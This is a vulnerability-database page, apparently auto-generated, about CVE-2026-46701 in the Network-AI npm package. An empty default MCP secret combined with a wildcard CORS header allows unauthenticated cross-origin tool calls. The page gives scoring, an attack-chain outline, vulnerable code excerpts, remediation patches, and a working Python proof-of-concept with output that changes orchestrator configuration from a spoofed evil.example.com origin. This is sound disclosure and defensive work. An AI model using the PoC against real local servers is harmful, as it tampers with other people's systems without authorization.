Skip to main content

Network-AI EUVDEUVD-2026-46019

| CVE-2026-46701 HIGH
Origin Validation Error (CWE-346)
2026-05-21 https://github.com/Jovancoding/Network-AI GHSA-j3vx-cx2r-pvg8
7.6
CVSS 3.1 · Vendor: https://github.com/Jovancoding/Network-AI
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify target running Network-AI locally
  2. Delivery
    Lure victim to malicious page
  3. Exploit
    Browser issues cross-origin POST to /mcp
  4. Install
    Empty-secret check authorizes request
  5. C2
    Wildcard CORS exposes JSON-RPC response
  6. Execute
    Invoke config_set/agent_spawn/blackboard_write
  7. Impact
    Tamper with orchestrator state

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Origin validation
Exploitation Conditions

Exploitation requires that (1) Network-AI v5.4.4 or earlier is running with the MCP SSE transport (not --stdio mode), (2) NETWORK_AI_MCP_SECRET is unset or empty and no --secret flag was passed at launch - the default deployment, (3) the victim visits an attacker-controlled web page while the MCP server is running and reachable from the victim's browser (default bind is 127.0.0.1:3001, which the victim's own browser can reach), and (4) the victim's browser executes the attacker's JavaScript (UI:R). Limiting factors: the victim must be actively running the server at the time of the lure, the server must be bound to an address the victim's browser can resolve, and operators who set NETWORK_AI_MCP_SECRET to a non-empty value are not vulnerable to the auth bypass even on v5.4.4. No platform-specific limits beyond Node.js/Docker; no authentication is required of the attacker.

Impact

The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L yields 7.6 (High): network reachable, low complexity, no privileges, but user interaction (visiting a malicious page) is required, with high integrity impact reflecting full control over orchestrator state. A working PoC is included in the advisory, satisfying 'publicly available exploit code exists'; there is no CISA KEV entry and EPSS was not provided in the input. The mitigating factor is UI:R plus the requirement that the victim be running the MCP server bound to localhost at the time of visit, which limits opportunistic mass exploitation but does not protect targeted users such as developers or operators known to run Network-AI. The Tags field lists 'RCE' but the documented impact in the advisory is orchestrator configuration tampering and agent spawning via MCP tools rather than direct OS command execution - the RCE tag should be treated as unverified pending confirmation of whether agent_spawn or other tools reach arbitrary code execution.

Exploit ScenarioDerived

An attacker hosts a malicious page at evil.example.com and lures a developer running Network-AI v5.4.4 locally (e.g., via a Slack link or a typo-squatted documentation site). When the developer visits the page, embedded JavaScript issues a cross-origin fetch to http://127.0.0.1:3001/mcp with a JSON-RPC tools/call body invoking config_set, agent_spawn, or blackboard_write; because the server returns Access-Control-Allow-Origin: * and treats the empty secret as authorized, the script silently mutates orchestrator state and reads the responses. A working Python PoC published in the GHSA advisory demonstrates this end-to-end against the default Docker deployment.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 21, 2026

Unauthenticated cross-origin MCP tool invocation in Network-AI v5.4.4 allows a remote attacker to lure a victim to a malicious web page that silently invokes any of the 22 exposed MCP tools (including config_set, agent_spawn, blackboard_write, and token_create/revoke) against the victim's locally running MCP SSE server. The vulnerability stems from an empty default secret combined with a wildcard CORS policy, and publicly available exploit code exists in the GHSA advisory demonstrating end-to-end exploitation. No CISA KEV listing yet and EPSS data was not provided, but the published PoC and trivial attack mechanics make this a meaningful risk for any user running the default Docker deployment.

RemediationAI

Vendor-released patch: 5.4.5 - upgrade the network-ai npm package to 5.4.5 or later (npm install network-ai@5.4.5) per the GHSA-j3vx-cx2r-pvg8 advisory. If immediate upgrade is not possible, set a strong NETWORK_AI_MCP_SECRET environment variable (or --secret <token> flag) before launching the server so _isAuthorized enforces bearer-token checks; note this only closes the empty-secret bypass and leaves the wildcard CORS in place, so cross-origin scripts can still attempt requests but will fail without the token. As additional hardening described in the advisory, restrict CORS to localhost origins by replacing the wildcard with an allowlist for http(s)://localhost or 127.0.0.1 and add Vary: Origin, and reorder the CORS headers to apply only after the auth check so rejected requests do not advertise cross-origin access; the trade-off is that any legitimate cross-origin MCP client will need to be added to the allowlist explicitly.

Affected VersionsENISA

Network-AI < 5.4.5

Affected Packages

npm network-ai fix: 5.4.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Network-AI is an npm-published TypeScript orchestration tool (pkg:npm/network-ai) that exposes a Model Context Protocol (MCP) Server-Sent Events transport on port 3001. Two defects compound into the vulnerability: bin/mcp-server.ts:89 resolves the bearer secret via process.env['NETWORK_AI_MCP_SECRET'] ?? '', and lib/mcp-transport-sse.ts:254 short-circuits _isAuthorized to return true whenever the configured secret is falsy. At the same time, lib/mcp-transport-sse.ts:272 unconditionally sets Access-Control-Allow-Origin: * before any auth check, meaning the response is readable by cross-origin browser scripts. This maps cleanly to CWE-346 (Origin Validation Error): the server fails to validate the origin of cross-domain requests and pairs it with broken authentication, letting any web page act on behalf of the local user against their MCP server.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/Jovancoding/Network-AI) PRIMARY 7.6 HIGH
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L

Primary rating from Vendor (https://github.com/Jovancoding/Network-AI) · only source for this CVE.

CVSS VectorVendor: https://github.com/Jovancoding/Network-AI

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
Low

DescriptionCVE.org

Unauthenticated Cross-Origin MCP Tool Invocation via Empty Default Secret

FieldValue
RepositoryJovancoding/Network-AI
Affected versionv5.4.4 (commit c12686e181f231cf8d7bcf836a96d78f0f0877ac)

Summary

The MCP SSE server defaults to an empty secret (process.env['NETWORK_AI_MCP_SECRET'] ?? '' at bin/mcp-server.ts:89), which causes _isAuthorized (lib/mcp-transport-sse.ts:254) to return true unconditionally for every request - no Authorization header is required. Simultaneously, _handleRequest sets Access-Control-Allow-Origin: * (lib/mcp-transport-sse.ts:272) on every response, so a cross-origin browser fetch can read the result without restriction. An unauthenticated attacker who can lure a user to a malicious web page can invoke all 22 exposed MCP tools - including config_set, agent_spawn, and blackboard_write - against a default-configured localhost server.

Affected Code

bin/mcp-server.ts:89 - default secret resolves to empty string, enabling open access

typescript
    secret: process.env['NETWORK_AI_MCP_SECRET'] ?? '',

lib/mcp-transport-sse.ts:254 - auth guard short-circuits to true when secret is falsy

typescript
  private _isAuthorized(req: http.IncomingMessage): boolean {
    if (!this._opts.secret) return true;
    const authHeader = req.headers['authorization'];
    if (typeof authHeader !== 'string') return false;
    const parts = authHeader.split(' ');
    return parts[0]?.toLowerCase() === 'bearer' && parts[1] === this._opts.secret;
  }

lib/mcp-transport-sse.ts:272 - wildcard CORS header applied unconditionally before any auth check

typescript
  private _handleRequest(req: http.IncomingMessage, res: http.ServerResponse): void {
    // CORS - allow any MCP client to connect
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');

lib/mcp-transport-sse.ts:367-368 - authenticated path dispatches parsed JSON-RPC frame directly to handleRPC with no further caller validation

typescript
        const rpc = JSON.parse(body) as McpJsonRpcRequest;
        const response = await this._bridge.handleRPC(rpc);

Any cross-origin browser request reaches handleRPC because _isAuthorized returns true (empty secret) and the Access-Control-Allow-Origin: * header lets the browser expose the response to the calling script.

Proof of Concept

Environment

  • Network-AI v5.4.4 (latest)
  • Docker container bound to 127.0.0.1:3001
  • Python 3 + requests

poc.py

python
import sys
import requests

BASE = "http://127.0.0.1:3001"
# Step 1: Verify CORS wildcard (simulating cross-origin preflight)
preflight = requests.options(
    f"{BASE}/mcp",
    headers={
        "Origin": "http://evil.example.com",
        "Access-Control-Request-Method": "POST",
        "Access-Control-Request-Headers": "Content-Type",
    },
)
acao = preflight.headers.get("Access-Control-Allow-Origin", "")
print(f"[*] OPTIONS /mcp -> {preflight.status_code}, Access-Control-Allow-Origin: {acao!r}")
if acao != "*":
    print(f"RESULT: FAIL - expected ACAO='*', got {acao!r}")
    sys.exit(1)
# Step 2: Invoke config_set with NO Authorization header from cross-origin
rpc_payload = {
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
        "name": "config_set",
        "arguments": {
            "key": "maxParallelAgents",
            "value": "999"
        }
    }
}
resp = requests.post(
    f"{BASE}/mcp",
    json=rpc_payload,
    headers={
        "Content-Type": "application/json",
        "Origin": "http://evil.example.com",
# No Authorization header - exploiting empty-secret bypass
    },
)
print(f"[*] POST /mcp (no auth, cross-origin) -> {resp.status_code}")
print(f"[*] Response body: {resp.text[:800]}")
resp_acao = resp.headers.get("Access-Control-Allow-Origin", "")
print(f"[*] Response Access-Control-Allow-Origin: {resp_acao!r}")
if resp.status_code != 200:
    print(f"RESULT: FAIL - expected 200, got {resp.status_code}")
    sys.exit(1)

body = resp.json()
result_content = body.get("result", {})
is_error = result_content.get("isError", True)
if is_error:
    print(f"RESULT: FAIL - tool returned isError=true: {result_content}")
    sys.exit(1)
# Step 3: Confirm CORS header on actual response (browser can read it)
if resp_acao != "*":
    print(f"RESULT: FAIL - response ACAO not '*', browser would block read: {resp_acao!r}")
    sys.exit(1)

print(f"RESULT: PASS - unauthenticated cross-origin POST /mcp (no Bearer token) succeeded with HTTP 200 and ACAO='*'; config_set executed without credentials (maxParallelAgents set to 999)")

Output

[*] OPTIONS /mcp -> 204, Access-Control-Allow-Origin: '*'
[*] POST /mcp (no auth, cross-origin) -> 200
[*] Response body: {"jsonrpc":"2.0","id":1,"result":{"content":[{"type":"text","text":"{\"ok\":true,\"tool\":\"config_set\",\"data\":{\"key\":\"maxParallelAgents\",\"previous\":null,\"current\":999,\"applied\":true}}"}],"isError":false}}
[*] Response Access-Control-Allow-Origin: '*'
RESULT: PASS - unauthenticated cross-origin POST /mcp (no Bearer token) succeeded with HTTP 200 and ACAO='*'; config_set executed without credentials (maxParallelAgents set to 999)

Verified conditions

  1. OPTIONS /mcp → 204, Access-Control-Allow-Origin: * - browser preflight accepted by server
  2. POST /mcp (no Authorization header) → 200, isError: false - config_set executed without credentials
  3. Response Access-Control-Allow-Origin: * - response is readable by the calling script in a browser context, confirming the attack is viable from a cross-origin malicious page

Impact

Any web page visited by a user who has the Network-AI MCP server running locally (default port 3001, no secret) can silently invoke all 22 MCP tools without credentials. Verified impact includes arbitrary orchestrator configuration mutation (config_set); the same vector applies to agent_spawn (spawning arbitrary agents), blackboard_write / blackboard_delete (corrupting shared agent state), and token_create / token_revoke (tampering with token management). Confidentiality impact is limited to data readable via MCP tools (blackboard contents, audit log queries); integrity impact is high because core orchestrator state can be overwritten; availability impact is low (service continues running but with attacker-controlled configuration).

Remediation

  1. Require a non-empty secret at startup: in bin/mcp-server.ts, reject launch when args.secret is empty and --stdio is not set:
typescript
   if (!args.secret && !args.stdio) {
     console.error('ERROR: --secret <token> or NETWORK_AI_MCP_SECRET must be set for SSE mode.');
     process.exit(1);
   }
  1. Restrict CORS to localhost origins only: in lib/mcp-transport-sse.ts:_handleRequest, replace the wildcard with an allowlist:
typescript
   const origin = req.headers['origin'] ?? '';
   const allowed = /^https?:\/\/(localhost|127\.0\.0\.1)(:\d+)?$/.test(origin);
   res.setHeader('Access-Control-Allow-Origin', allowed ? origin : '');
   res.setHeader('Vary', 'Origin');
  1. Move CORS headers after the auth check so a rejected request never advertises cross-origin access, or apply CORS only on the SSE endpoint (/sse) if cross-origin streaming is needed and not on /mcp.

Executive ViewAI

Why It Matters

Network-AI v5.4.4 contains an unauthenticated cross-origin vulnerability allowing attackers to invoke critical system functions-including configuration changes, agent spawning, and token management-against employees' local systems when they visit a malicious website. The default Docker deployment is vulnerable, putting organizations at immediate risk of unauthorized access, data manipulation, and account compromise without code changes.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Set a strong, non-default MCP authentication secret; (2) Replace wildcard CORS policy ('*') with explicit, restrictive domain allowlists; (3) Restrict MCP SSE server network access to localhost and trusted networks via firewall or reverse proxy; (4) Monitor MCP tool invocations (config_set, agent_spawn, token_create, token_revoke) for unauthorized calls; (5) Disable unused MCP tools if possible; (6) Run Network-AI in isolated network segments without direct internet access.

Threat Intelligence Overview

EPSS Score
0.0%
Top 93% exploitable
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

58
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy